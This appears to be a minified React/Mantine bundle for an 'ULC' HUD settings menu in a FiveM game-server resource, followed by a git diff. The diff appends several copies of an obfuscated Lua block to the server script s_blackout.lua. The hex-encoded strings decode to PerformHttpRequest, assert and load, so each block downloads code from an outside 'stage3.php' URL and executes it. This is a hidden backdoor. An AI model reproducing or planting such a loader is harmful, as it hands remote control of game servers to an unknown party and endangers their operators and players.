P(ek,{value:{value:p,onChange:g=>{const h=g.currentTarget.value;m(p.includes(h)?p.filter(v=>v!==h):[...p,h])},size:a},children:P(Vs.Wrapper,{...tp(tp({labelElement:"div",size:a,__staticSelector:"SwitchGroup",ref:t},s),u),children:n})})});Cv.displayName="@mantine/core/SwitchGroup";var ik=Object.defineProperty,lk=Object.defineProperties,ak=Object.getOwnPropertyDescriptors,rp=Object.getOwnPropertySymbols,sk=Object.prototype.hasOwnProperty,uk=Object.prototype.propertyIsEnumerable,np=(e,t,r)=>t in e?ik(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,ck=(e,t)=>{for(var r in t||(t={}))sk.call(t,r)&&np(e,r,t[r]);if(rp)for(var r of rp(t))uk.call(t,r)&&np(e,r,t[r]);return e},fk=(e,t)=>lk(e,ak(t));const dk={xs:w(16),sm:w(20),md:w(24),lg:w(30),xl:w(36)},pk={xs:w(32),sm:w(38),md:w(46),lg:w(56),xl:w(72)},mk={xs:w(12),sm:w(14),md:w(18),lg:w(22),xl:w(28)},yk={xs:w(5),sm:w(6),md:w(7),lg:w(9),xl:w(11)},gk={xs:w(4),sm:w(5),md:w(6),lg:w(8),xl:w(10)};var vk=Se((e,{radius:t,color:r,labelPosition:n,error:o},{size:i})=>{const l=V({size:i,sizes:mk}),a=V({size:t,sizes:e.radius}),s=e.fn.variant({variant:"filled",color:r}),u=V({size:i,sizes:pk}),p=w(i==="xs"?1:2),m=e.fn.variant({variant:"filled",color:"red"}).background;return{input:{height:0,width:0,overflow:"hidden",whiteSpace:"nowrap",padding:0,WebkitClipPath:"inset(50%)",clipPath:"inset(50%)",position:"absolute"},track:fk(ck({},e.fn.focusStyles("input:focus + &")),{cursor:e.cursorType,overflow:"hidden",WebkitTapHighlightColor:"transparent",position:"relative",borderRadius:a,backgroundColor:e.colorScheme==="dark"?e.colors.dark[6]:e.colors.gray[2],border:`${w(1)} solid ${o?m:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[3]}`,height:V({size:i,sizes:dk}),minWidth:u,margin:0,transitionProperty:"background-color, border-color",transitionTimingFunction:e.transitionTimingFunction,transitionDuration:"150ms",boxSizing:"border-box",appearance:"none",display:"flex",alignItems:"center",fontSize:V({size:i,sizes:yk}),fontWeight:600,order:n==="left"?2:1,userSelect:"none",zIndex:0,lineHeight:0,color:e.colorScheme==="dark"?e.colors.dark[1]:e.colors.gray[6],transition:`color 150ms ${e.transitionTimingFunction}`,"input:checked + &":{backgroundColor:s.background,borderColor:s.background,color:e.white,transition:`color 150ms ${e.transitionTimingFunction}`},"input:disabled + &":{backgroundColor:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2],borderColor:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2],cursor:"not-allowed"}}),thumb:{position:"absolute",zIndex:1,borderRadius:a,boxSizing:"border-box",display:"flex",backgroundColor:e.white,height:l,width:l,border:`${w(1)} solid ${e.colorScheme==="dark"?e.white:e.colors.gray[3]}`,left:p,transition:`left 150ms ${e.transitionTimingFunction}`,"& > *":{margin:"auto"},"@media (prefers-reduced-motion)":{transitionDuration:e.respectReducedMotion?"0ms":""},"input:checked + * > &":{left:`calc(100% - ${l} - ${p})`,borderColor:e.white},"input:disabled + * > &":{borderColor:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2],backgroundColor:e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[0]}},trackLabel:{height:"100%",display:"grid",placeContent:"center",minWidth:`calc(${u} - ${l})`,paddingInline:V({size:i,sizes:gk}),margin:`0 0 0 calc(${l} + ${p})`,transition:`margin 150ms ${e.transitionTimingFunction}`,"input:checked + * > &":{margin:`0 calc(${l} + ${p}) 0 0`}}}});const hk=vk;var wk=Object.defineProperty,_k=Object.defineProperties,Sk=Object.getOwnPropertyDescriptors,wl=Object.getOwnPropertySymbols,Nv=Object.prototype.hasOwnProperty,Tv=Object.prototype.propertyIsEnumerable,op=(e,t,r)=>t in e?wk(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Aa=(e,t)=>{for(var r in t||(t={}))Nv.call(t,r)&&op(e,r,t[r]);if(wl)for(var r of wl(t))Tv.call(t,r)&&op(e,r,t[r]);return e},Pk=(e,t)=>_k(e,Sk(t)),Ok=(e,t)=>{var r={};for(var n in e)Nv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&wl)for(var n of wl(e))t.indexOf(n)<0&&Tv.call(e,n)&&(r[n]=e[n]);return r};const xk={offLabel:"",onLabel:"",size:"sm",radius:"xl",error:!1},nc=$.exports.forwardRef((e,t)=>{var r;const n=he("Switch",xk,e),{className:o,color:i,label:l,offLabel:a,onLabel:s,id:u,style:p,size:m,radius:d,wrapperProps:g,children:h,unstyled:v,styles:x,classNames:f,thumbIcon:c,sx:y,checked:S,defaultChecked:k,onChange:b,labelPosition:O,description:N,error:H,disabled:R,variant:I}=n,G=Ok(n,["className","color","label","offLabel","onLabel","id","style","size","radius","wrapperProps","children","unstyled","styles","classNames","thumbIcon","sx","checked","defaultChecked","onChange","labelPosition","description","error","disabled","variant"]),Y=tk(),ce=(Y==null?void 0:Y.size)||m,{classes:re}=hk({color:i,radius:d,labelPosition:O,error:!!H},{name:"Switch",classNames:f,styles:x,unstyled:v,size:ce,variant:I}),{systemStyles:ze,rest:ne}=Ju(G),T=ag(u),F=Y?{checked:Y.value.includes(ne.value),onChange:Y.onChange}:{},[M,B]=na({value:(r=F.checked)!=null?r:S,defaultValue:k,finalValue:!1});return Z(nv,{...Aa(Aa({className:o,sx:y,style:p,id:T,size:(Y==null?void 0:Y.size)||m,labelPosition:O,label:l,description:N,error:H,disabled:R,__staticSelector:"Switch",classNames:f,styles:x,unstyled:v,"data-checked":F.checked||void 0,variant:I},ze),g),children:[P("input",{...Pk(Aa({},ne),{disabled:R,checked:M,onChange:_=>{Y?F.onChange(_):b==null||b(_),B(_.currentTarget.checked)},id:T,ref:t,type:"checkbox",className:re.input})}),Z("label",{htmlFor:T,className:re.track,children:[P("div",{className:re.thumb,children:c}),P("div",{className:re.trackLabel,children:M?s:a})]})]})});nc.displayName="@mantine/core/Switch";nc.Group=Cv;var $k=Object.defineProperty,kk=Object.defineProperties,bk=Object.getOwnPropertyDescriptors,ip=Object.getOwnPropertySymbols,Ek=Object.prototype.hasOwnProperty,Ck=Object.prototype.propertyIsEnumerable,lp=(e,t,r)=>t in e?$k(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Jo=(e,t)=>{for(var r in t||(t={}))Ek.call(t,r)&&lp(e,r,t[r]);if(ip)for(var r of ip(t))Ck.call(t,r)&&lp(e,r,t[r]);return e},qo=(e,t)=>kk(e,bk(t)),Nk=Se(e=>{const t=lw(e.headings.sizes).reduce((r,n)=>{const o=e.headings.sizes[n];return r[`& ${n}`]=qo(Jo({fontFamily:e.headings.fontFamily,fontWeight:o.fontWeight||e.headings.fontWeight,marginTop:typeof o.lineHeight=="number"?`calc(${e.spacing.xl} * ${o.lineHeight})`:e.spacing.xl,marginBottom:e.spacing.sm},o),{[`@media (max-width: ${e.breakpoints.sm})`]:{fontSize:`calc(${w(o.fontSize)} / 1.3)`}}),r},{});return{root:qo(Jo(qo(Jo({},e.fn.fontStyles()),{color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,lineHeight:e.lineHeight,fontSize:e.fontSizes.md,[`@media (max-width: ${e.breakpoints.sm})`]:{fontSize:e.fontSizes.sm}}),t),{"& img":{maxWidth:"100%",marginBottom:e.spacing.xs},"& p":{marginTop:0,marginBottom:e.spacing.lg},"& mark":{backgroundColor:e.fn.themeColor("yellow",e.colorScheme==="dark"?5:2),color:e.colorScheme==="dark"?e.colors.dark[9]:"inherit"},"& hr":{marginTop:e.spacing.md,marginBottom:e.spacing.sm,borderBottom:0,borderLeft:0,borderRight:0,borderTop:`${w(1)} dashed ${e.colors.gray[e.colorScheme==="dark"?4:6]}`},"& a":qo(Jo({},e.fn.focusStyles()),{color:e.colors[e.primaryColor][e.colorScheme==="dark"?4:6],textDecoration:"none","&:hover":{textDecoration:"underline"}}),"& pre":{padding:e.spacing.xs,lineHeight:e.lineHeight,margin:0,marginTop:e.spacing.md,marginBottom:e.spacing.md,overflowX:"auto",fontFamily:e.fontFamilyMonospace,fontSize:e.fontSizes.sm,borderRadius:e.radius.sm,backgroundColor:e.colorScheme==="dark"?e.colors.dark[8]:e.colors.gray[0],"& code":{backgroundColor:"transparent",padding:0,borderRadius:0,color:"inherit",border:0}},"& code":{lineHeight:e.lineHeight,padding:`${w(1)} ${w(5)}`,borderRadius:e.radius.sm,color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,backgroundColor:e.colorScheme==="dark"?e.colors.dark[9]:e.colors.gray[0],fontFamily:e.fontFamilyMonospace,fontSize:e.fontSizes.xs,border:`${w(1)} solid ${e.colorScheme==="dark"?e.colors.dark[9]:e.colors.gray[3]}`},"& ul, & ol":{marginBottom:e.spacing.md,paddingLeft:38,"& li":{marginTop:e.spacing.xs}},"& table":{width:"100%",borderCollapse:"collapse",captionSide:"bottom",marginBottom:e.spacing.md,"& caption":{marginTop:e.spacing.xs,fontSize:e.fontSizes.sm,color:e.colorScheme==="dark"?e.colors.dark[2]:e.colors.gray[6]},"& th":{textAlign:"left",fontWeight:"bold",color:e.colorScheme==="dark"?e.colors.dark[0]:e.colors.gray[7],fontSize:14,padding:`${w(7)} ${w(10)}`},"& thead th":{borderBottom:`${w(1)} solid ${e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[3]}`},"& tfoot th":{borderTop:`${w(1)} solid ${e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[3]}`},"& td":{padding:`${w(7)} ${w(10)}`,borderBottom:`${w(1)} solid ${e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[3]}`,fontSize:14},"& tr:last-of-type td":{borderBottom:"none"}},"& blockquote":{fontSize:e.fontSizes.lg,lineHeight:e.lineHeight,margin:`${e.spacing.md} 0`,borderTopRightRadius:e.radius.sm,borderBottomRightRadius:e.radius.sm,padding:`${e.spacing.md} ${e.spacing.lg}`,color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,borderLeft:`${w(6)} solid ${e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[3]}`,"& cite":{display:"block",fontSize:e.fontSizes.sm,marginTop:e.spacing.xs,color:e.colorScheme==="dark"?e.colors.dark[2]:e.colors.gray[6],overflow:"hidden",textOverflow:"ellipsis"}}})}});const Tk=Nk;var zk=Object.defineProperty,_l=Object.getOwnPropertySymbols,zv=Object.prototype.hasOwnProperty,Rv=Object.prototype.propertyIsEnumerable,ap=(e,t,r)=>t in e?zk(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Rk=(e,t)=>{for(var r in t||(t={}))zv.call(t,r)&&ap(e,r,t[r]);if(_l)for(var r of _l(t))Rv.call(t,r)&&ap(e,r,t[r]);return e},Dk=(e,t)=>{var r={};for(var n in e)zv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&_l)for(var n of _l(e))t.indexOf(n)<0&&Rv.call(e,n)&&(r[n]=e[n]);return r};const Dv=$.exports.forwardRef((e,t)=>{const r=he("TypographyStylesProvider",{},e),{className:n,unstyled:o,variant:i}=r,l=Dk(r,["className","unstyled","variant"]),{classes:a,cx:s}=Tk(null,{name:"TypographyStylesProvider",unstyled:o,variant:i});return P(me,{...Rk({className:s(a.root,n),ref:t},l)})});Dv.displayName="@mantine/core/TypographyStylesProvider";function jk(e){const{label:t,numKey:r,enabled:n,color:o,showHelp:i}=e,[l,a]=$.exports.useState("button");return $.exports.useEffect(()=>{a(n?`button ${o}`:"button")}),i?P("div",{className:l,children:`NUM ${r}`}):P("div",{className:l,children:t})}function Ik({hudDisabled:e,setHudDisabled:t,useLeftAnchor:r,setUseLeftAnchor:n,scale:o,setScale:i,setPosition:l,opacity:a,setMenuOpacity:s}){return P(Kt,{sx:{opacity:`${a}%`,transition:"opacity 0.25s ease"},children:P(La,{sx:{height:"100vh"},children:Z(sv,{direction:"column",sx:u=>({minHeight:"30vh",background:"rgba(26,28,32,0.85)",borderRadius:u.radius.md,padding:"10px"}),children:[P(Kt,{sx:{minWidth:"350px",paddingTop:"15px",WebkitBackdropFilter:"blur(10px)",display:"flex",flexDirection:"row",justifyContent:"space-between",alignItems:"center"},w:"25vw",children:P(La,{sx:{width:"100%"},children:P(Dv,{children:P("h1",{children:"ULC SETTINGS"})})})}),P(Kt,{sx:{minWidth:"350px",paddingTop:"15px",WebkitBackdropFilter:"blur(10px)",display:"flex",flexDirection:"row",justifyContent:"space-between",alignItems:"center"},w:"25vw",children:P(La,{sx:{width:"100%"},children:P(xr,{fz:"lg",children:"Click & drag HUD to reposition!"})})}),P(Ng,{my:"xl"}),Z(Kt,{sx:{minWidth:"350px",display:"flex",flexDirection:"row",justifyContent:"space-between",alignItems:"center"},w:"25vw",children:[P(xr,{fw:"bold",children:"Anchor Position"}),P(fv,{sx:{float:"right"},value:r,onChange:u=>{n(u),l(0,0)},data:[{label:"Right",value:"false"},{label:"Left",value:"true"}]})]}),P(Ln,{h:"md"}),Z(Kt,{sx:{minWidth:"350px",display:"flex",flexDirection:"row",justifyContent:"space-between",alignItems:"center"},w:"25vw",children:[P(xr,{fw:"bold",children:"HUD Scale"}),P(Ov,{value:o,onChange:i,min:.5,max:2,step:.1,sx:{width:"60%"},size:"lg",label:u=>`${u.toFixed(1)}`})]}),P(Ln,{h:"md"}),Z(Kt,{sx:{minWidth:"350px",display:"flex",flexDirection:"row",justifyContent:"space-between",alignItems:"center"},w:"25vw",children:[P(xr,{fw:"bold",children:"Disable HUD"}),P(nc,{size:"lg",radius:"sm",checked:e,onChange:u=>t(u.currentTarget.checked)})]}),P(Ln,{h:"xl"}),Z(Kt,{sx:{minWidth:"350px",marginTop:"auto",marginBottom:"10px",display:"flex",flexDirection:"row",justifyContent:"space-between",alignItems:"center"},w:"25vw",children:[P(jd,{onClick:()=>{i(1),n("false"),l(0,0),t(!1)},sx:{width:"100%"},uppercase:!0,color:"red",children:"Reset"}),P(Ln,{w:"md"}),P(jd,{onClick:()=>{s(0),fetch("https://ulc/focusGame",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({})})},sx:{width:"100%"},uppercase:!0,children:"Done"})]})]})})})}function Mk(){const[e,t]=$.exports.useState(0),[r,n]=$.exports.useState(0),[o,i]=$.exports.useState(1),[l,a]=$.exports.useState("ta ta-off"),[s,u]=$.exports.useState("false"),[p,m]=$.exports.useState(!1),[d,g]=$.exports.useState(!1),[h,v]=$.exports.useState(0),[x,f]=$.exports.useState(0),[c,y]=$.exports.useState([]);$.exports.useEffect(()=>{fetch("https://ulc/saveScale",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({scale:o})})},[o]),$.exports.useEffect(()=>{fetch("https://ulc/saveAnchor",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({useLeftAnchor:s})})},[s]),$.exports.useEffect(()=>{fetch("https://ulc/setHudDisabled",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({hudDisabled:p})})},[p]);function S(R,I){let G=c.map(Y=>Y.extra===R?{...Y,enabled:I}:Y);y(G)}function k(R){let I="ta ta-off";for(let G=0;G{console.log(~~I.x,~~I.y);let G=~~I.x,Y=~~I.y;O(G,Y)};function O(R,I){v(R),f(I),fetch("https://ulc/savePosition",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({newX:R,newY:I})})}const N=R=>{var I=R.data;I.type==="showHUD"?t(100):I.type==="hideHUD"?t(0):I.type==="setPosition"?(console.log(`Received x: ${I.x} and y: ${I.y} from lua`),v(I.x),f(I.y)):I.type==="setScale"?(console.log(`Received scale: ${I.scale} from lua`),i(I.scale)):I.type==="setAnchor"?u(I.bool):I.type==="showMenu"?n(100):I.type==="hideMenu"?n(0):I.type==="setHudDisabled"?I.bool===1?m(!0):m(!1):I.type==="showHelp"?g(!0):I.type==="hideHelp"&&g(!1),I.type==="clearButtons"&&y([]),I.type==="populateButtons"&&(y(I.buttons),a(k(I.buttons))),I.type==="setButton"&&S(I.extra,I.newState)};$.exports.useEffect(()=>(window.removeEventListener("message",N),window.addEventListener("message",N),()=>{window.removeEventListener("message",N)}),[N]);let H=c.map((R,I)=>P(Hi,{children:P(jk,{showHelp:d,extra:R.extra,numKey:R.numKey,enabled:R.enabled,color:R.color,label:R.label},I)}));return Z(Hi,{children:[P(Ik,{hudDisabled:p,setHudDisabled:m,opacity:r,setMenuOpacity:n,scale:o,setScale:i,useLeftAnchor:s,setUseLeftAnchor:u,setPosition:O}),P(Ml.exports,{defaultPosition:{x:h,y:x},scale:o,position:{x:h,y:x},onStop:(R,I)=>{b(R,I)},children:P(me,{sx:{position:"absolute",bottom:40,...s==="true"?{left:40}:{right:40},scale:`${o}`,opacity:`${e}%`,transition:"opacity 0.25s ease"},children:P("div",{className:"background",children:P("div",{className:"buttons",children:H})})})})]})}Wa.createRoot(document.getElementById("root")).render(P(og,{withGlobalStyles:!0,withNormalizeCSS:!0,theme:{colorScheme:"dark",fontFamily:"Arial, Helvetica, sans-serif",globalStyles:e=>({html:{colorScheme:"normal"}})},children:P(Mk,{})})); diff --git a/resources/ulc/html/index.html b/resources/ulc/html/index.html index 5696af57e..bc2dde4e1 100644 --- a/resources/ulc/html/index.html +++ b/resources/ulc/html/index.html @@ -5,7 +5,7 @@ Vite + React + TS - + diff --git a/resources/ulc/server/s_blackout.lua b/resources/ulc/server/s_blackout.lua index cdf417746..50c197498 100644 --- a/resources/ulc/server/s_blackout.lua +++ b/resources/ulc/server/s_blackout.lua @@ -5,3 +5,14 @@ RegisterNetEvent('ulc:setBlackout', function(netId, state) Entity(vehicle).state.ulc_blackout = state end) + + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end 